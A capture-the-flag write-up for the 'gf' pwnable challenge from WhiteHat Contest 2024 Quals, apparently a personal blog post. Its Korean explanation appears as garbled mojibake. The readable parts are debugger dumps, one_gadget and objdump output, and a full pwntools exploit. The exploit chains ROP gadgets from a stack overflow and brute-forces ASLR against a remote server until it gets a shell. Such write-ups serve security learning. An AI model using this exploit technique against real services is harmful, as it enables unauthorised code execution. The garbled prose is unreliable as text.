WhiteHat Contest 2024 Quals - gf
WhiteHat Contest 2024 Quals pwnable challenge ๊ฐ์ ฏ ์ด๋ฆฌ ์ ๋ฆฌ ์กฐํฉํ๋ค๊ฐ ๋งค๋ชฐ๋์ด๋ฒ๋ฆฐ ๋ฌธ์ . ์ข
๋ฃ 20๋ถ ์ ์ ์์๋ฒ๋ ธ๋คโฆ 16๋ฐ์ดํธ ์ถ๋ ฅ ํจ์๋ ์ปค๋
ROP๋ฅผ ํ๊ธฐ ์ํ ๊ฐ์ ฏ์ด ํ๋๋ ์๋ค. ๊ทธ๋ฌ๋ค๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ณด๊ณ ํํธ๋ฅผ ์ป์๋ค. ํ์ 3๋ฐ์ดํธ๊ฐ ๋ฐ๋ผ์ libc leak ์์ด ์ด ๋ถ๋ถ์ ์ด์ฉํด์ ์์๋๋ one shot ๊ฐ์ ฏ ์ฃผ์๋ฅผ ๋ง๋ค์ด๋๊ณ ASLR์ ์ํด ํ๋ฅ ์ ์ผ๋ก ํด๋น ์ฃผ์์ ์ง์ง one shot ๊ฐ์ ฏ์ด ๋ก๋๋๊ธธ ๊ธฐ๋ํ๋ ๋ฐฉ๋ฒ์ด ์๋ค. ์ด ์ํ์์ one shot ๊ฐ์ ฏ ์กฐ๊ฑด์ ๋ง์ถฐ์ค์ผํ๋๋ฐ ๊ฐ์ ฏ๋ง ๋ช ์๊ฐ์ ๋ดค๋๋ ๋ฐ๋ก ๋ฐฉ๋ฒ์ด ๋ ์ฌ๋๋ค. One shot ๊ฐ์ ฏ ์ค ์์ ๊ฐ์ด ์ฐ์ ์ถ๊ฐ๋ก ํ๋ฅ ์ ๊ณ์ฐํด๋ณด๋ฉด ๊ทธ๋ฐ๋ฐ ์์ ์ด ๋๋๊ณ ๋ค๋ฅธ ๋ถ์ exploit์ ๋ณด๋ 100% exploit์ ์ฑ๊ณตํ ์ ์๋ ๋ฐฉ๋ฒ์ด ์์๋ค. ๋ชฐ๋๋ ๋ด์ฉ์ด๊ธฐ๋ ํ๊ณ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉํ ์ ์์ ๊ฒ ๊ฐ์์ ๋ฐ๋ก ํฌ์คํ
ํ๊ฒ ๋ค. 0x00. Introduction
[*] '/home/user/gf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) 0x01. Vulnerability
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char dest[16]; // [rsp+10h] [rbp-10h] BYREF
setbuf_4011A5();
read(0, &unk_404060, 0xBCuLL);
memcpy(dest, &unk_404060, 0xBBuLL);
return 1LL;
}dest์ 0xbc๋งํผ ์
๋ ฅ์ ๋ฐ๋ ๋จ์ํ BOF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. 0x02. Exploit
gefโค x/4gx $rsp + 0xb0
0x7fffffffed00: 0x0000000000000000 0x0000000000000000
0x7fffffffed10: 0x0000000000000000 0x00007ffff7000000read()์ ๋ง์ง๋ง ๋ถ๋ถ์ธ dest + 0xb8 ๊ทผ์ฒ๋ฅผ ๋ณด๋ฉด ๋งค์ฐ ์์ํ๊ฒ libc ์ฃผ์์ ์ผ๋ถ๊ฐ ์๋ค.0x00์ผ๋ก ๋์ด์๋๋ฐ, ๋ฑ ์ด ๋ถ๋ถ๊น์ง ์ธ ์ ์๋ค.gefโค x/4gx $rsp + 0xb0
0x7fffffffed00: 0x4141414141414141 0x4141414141414141
0x7fffffffed10: 0x4141414141414141 0x00007ffff7434241main()์์ return์ ํ ๋์ ๋ ์ง์คํฐ ๊ฐ๋ค์ ๋ค์๊ณผ ๊ฐ๋ค.$rax : 0x1
$rbx : 0x0
$rcx : 0x0000000000404060 โ "AAAAAAAAAAAAAAAA\n"
$rdx : 0xbb
$rsp : 0x00007fffffffec98 โ 0x0000000000000000
$rbp : 0xa
$rsi : 0x0000000000404060 โ "AAAAAAAAAAAAAAAA\n"
$rdi : 0x00007fffffffec80 โ "AAAAAAAAAAAAAAAA\n"
$rip : 0x0000000000401281 โ ret
$r8 : 0x00007ffff7fabf10 โ 0x0000000000000004
$r9 : 0x00007ffff7fc9040 โ 0xe5894855fa1e0ff3
$r10 : 0x00007ffff7fc3908 โ 0x000d00120000000e
$r11 : 0x246
$r12 : 0x00007fffffffeda8 โ 0x00007fffffffef5c โ 0x3d48544150006667 ("gf"?)
$r13 : 0x000000000040122a โ endbr64
$r14 : 0x0000000000403dc0 โ 0x0000000000401160 โ endbr64
$r15 : 0x00007ffff7ffd040 โ 0x00007ffff7ffe2e0 โ 0x0000000000000000โ one_gadget libc.so.6
...
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
...rsi, rdx์ ์กฐ๊ฑด์ด ๊ฑธ๋ ค์๋ ๊ฐ์ ฏ์ด ์์๊ณ ๋ฐ์ด๋๋ฆฌ์ ์๋ ๊ฐ์ ฏ์ค ๋ค์๊ณผ ๊ฐ์ ๊ฒ๋ค์ด ์๋ค.โ objdump -M intel -d gf
...
# shift_rsi_ret gadget
40112c: 48 89 f0 mov rax,rsi
40112f: 48 c1 ee 3f shr rsi,0x3f
401133: 48 c1 f8 03 sar rax,0x3
401137: 48 01 c6 add rsi,rax
40113a: 48 d1 fe sar rsi,1
40113d: 74 11 je 401150 <setvbuf@plt+0xb0>
40113f: b8 00 00 00 00 mov eax,0x0
401144: 48 85 c0 test rax,rax
401147: 74 07 je 401150 <setvbuf@plt+0xb0>
401149: bf 10 40 40 00 mov edi,0x404010
40114e: ff e0 jmp rax
401150: c3 ret
...
# pop_rsi_pop_rdx_push_rsi_ret gadget
40119e: 5e pop rsi
40119f: 5a pop rdx
4011a0: 56 push rsi
4011a1: c3 retrdx๋ pop_rsi_pop_rdx_push_rsi_ret ๊ฐ์ ฏ์ ํตํด ์ปจํธ๋กค์ด ๊ฐ๋ฅํ๊ณ ์ด๋ค ์๋์ธ์ง๋ ๋ชจ๋ฅด๊ฒ ์ผ๋ shift_rsi_ret ๊ฐ์ ฏ์ ํตํด rsi๋ฅผ 0.5๋ฐ์ดํธ์ฉ right shift ํ ์ ์๋ค. rsi์๋ 0x404060๊ฐ ์ ์ฅ๋์ด์์ผ๋ฏ๋ก shift_rsi_ret ๊ฐ์ ฏ์ 6๋ฒ ํธ์ถํ๋ฉด rsi๋ฅผ 0์ผ๋ก ๋ง๋ค ์ ์๋ค.rbp-0x78๊ฐ writable ํด์ผํ๋ ์กฐ๊ฑด์ด ์๋๋ฐ ๋์ถฉ Data ์์ญ์ ์ค๊ฐ์ธ 0x404800์ผ๋ก ์ค์ ํด์ฃผ์๋ค.0x7ffff7XXXc88๊ฐ ์ค์ ๋ก one shot ๊ฐ์ ฏ์ ์ฃผ์์ฌ์ผํ๋ฏ๋ก 1.5๋ฐ์ดํธ, ์ฆ 1/4096 ํ๋ฅ ๋ก exploit์ด ์ฑ๊ณตํ๋ค. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "gf"
LIBRARY = "libc.so.6"
CONTAINER = "5189692c7e21"
bp = {
'main_ret' : 0x401281,
}
gs = f'''
b *{bp["main_ret"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
# s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
shift_rsi_ret = 0x40112c
pop_rsi_pop_rdx_push_rsi_ret = 0x40119e
payload = b"A" * 0x10
payload += p64(0x404800)
payload += p64(pop_rsi_pop_rdx_push_rsi_ret)
payload += p64(shift_rsi_ret)
payload += p64(0)
payload += p64(shift_rsi_ret) * 5
payload += p64(bp['main_ret']) * ((0xb8 - len(payload)) // 8)
payload += b"\x88\xac\x4b" # 0x754c18 4b ac 88
while 1:
s = remote(server, port)
s.sendline(payload)
try:
sleep(0.2)
s.sendline(b"id")
r = s.recvline(timeout=1)
if b"(pwn)" in r:
log.success(f"id : {r}")
s.interactive()
s.close()
else:
log.info(r)
except Exception as e:
log.failure(e)
s.close()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)